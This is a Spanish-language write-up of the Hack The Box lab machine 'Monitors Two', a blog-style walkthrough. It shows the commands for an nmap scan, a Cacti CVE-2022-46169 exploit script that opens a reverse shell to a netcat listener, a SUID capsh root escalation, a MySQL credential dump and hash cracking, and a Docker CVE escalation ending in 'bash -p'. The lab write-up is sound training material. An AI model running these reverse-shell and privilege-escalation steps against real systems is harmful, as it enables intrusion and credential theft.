Post

MONITORS TWO WRITEUP.

Resolución de la máquina monitors two de Hack The Box.

Información:

SO:Linux
Dificultad:Easy
Puntos:20
Fecha de salida:12-08-2023

Hola, el día de hoy vamos a resolver la maquina de monitors two de HTB.

Primero realizaremos un escaneo de reconocimiento con NMAP.

Reconocimiento

1
sudo nmap -Pn -p- -A -T4 -oN scan.txt 10.10.11.211

Obtenemos el resultado del escaneo:

nmap-scan

Observamos que existen dos puertos abiertos, el 22 que corresponde al servicio de SSH y el 80 que corresponde al servicio de HTTP. Revisamos el puerto 80 a través del navegador.

cacti-login

Observamos que es un login de Cacti, un software para el monitoreo de red. Probamos contraseñas que están por defecto sin tener éxito. Sin embargo podemos buscar CVE para la versión 1.2.22 de cacti, misma que nos muestra en el login.

RCE / Reverse Shell

Después de una búsqueda encontramos una CVE para la versión 1.2.22.

Buscando encontre el siguiente script que nos ayuda con la RCE y nos brinda una reverse shell.

Utilizare Netcat con los siguientes flags -n para que no haga resolucion de dns, -l para estar a la escucha, -v de verbose y -p que indica el puerto, en este caso 443:

1
sudo nc -nlvp 443

Utilizando el script para la RCE podremos obtener la reverse shell.

1
python3 CVE-2022-46169.py -u http://10.10.11.211 --LHOST 10.10.16.79 --LPORT=443

python-script

Ahora obtenemos la reverse shell a través del puerto 443.

reverse-shell

Escalada de privilegios

Utilizaremos esta herramienta para enumerar los binarios SUID.

Crearemos un servidor web para poder acceder al recurso.

webserver

Obtenemos el recurso con wget.

wget-source

Le damos permisos de ejecucion.

1
chmod +x LinEnum.sh

LinEnum-Permission

Una vez ejecutado el script nos listara los archivos SUID, nos interesa el archivo /sbin/capsh. ¿Por que nos interesa este archivo? Principalmente por que no pierde privilegios heredados, por que lo que puede funcionar nos como puerta trasera. Mas sobre este archivo:

suid-enum

Nos dirigimos a la ruta /sbin donde se encuentra el archivo capsh y ejecutaremos el siguiente comando para poder escalar privilegios.

1
./capsh --gid=0 --uid=0 --

capsh

Obteniendo credenciales

Observamos que mysql esta dentro del contenedor, utilizamos el siguiente comando para listar a los usuarios root.

1
mysql --host=db --user=root --password=root cacti -e "SELECT * FROM user_auth"

resource

Vemos que existe un usuario marcus y nos da un hash del password del usuario.

Cracking Hash Password

Utilizaremos john the ripper para encontrar una coincidencia con un diccionario.

john

Vemos que ha encontrado una posible coincidencia.

Logeandose por ssh

Intentaremos acceder por ssh introduciendo las credenciales del usuario marcus.

ssh-auth

Y listo, tenemos acceso desde el usuario marcus.

login

Escalando privilegios

Listaremos la version de docker que se esta utilizando.

docker-v

Vemos que es la version 20.10.5+dfsg1, buscaremos alguna CVE que pueda ayudarnos con la escalada de privilegios. Después de una busqueda encontre un script que nos ayuda con esta CVE.

Para poder usar este script necesitamos volver al contenedor y asignar a /bin/bash permisos de suid.

bash

Exponemos el recurso con un servidor web como lo hicimos anteriormente.

wget-exp

Le damos permisos de ejecucion para poder utilizarlo.

exp=permission

Despues de la ejecucion vemos que nos arroja un path:
/var/lib/docker/overlay2/c41d5854e4bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged.

exp-exe

Nos dirigimos a ese directorio y ejecutamos el siguiente comando para obtener la shell en root.

1
./bin/bash -p

powned

Y listo, ahora somos root.

Eso ha sido todo por el post, si piensas que me he equivocado en la informacion o en que he omitido algo que pueda mejorar el post, puedes contactarme por discord quantumwavves

This post is licensed under CC BY 4.0 by the author.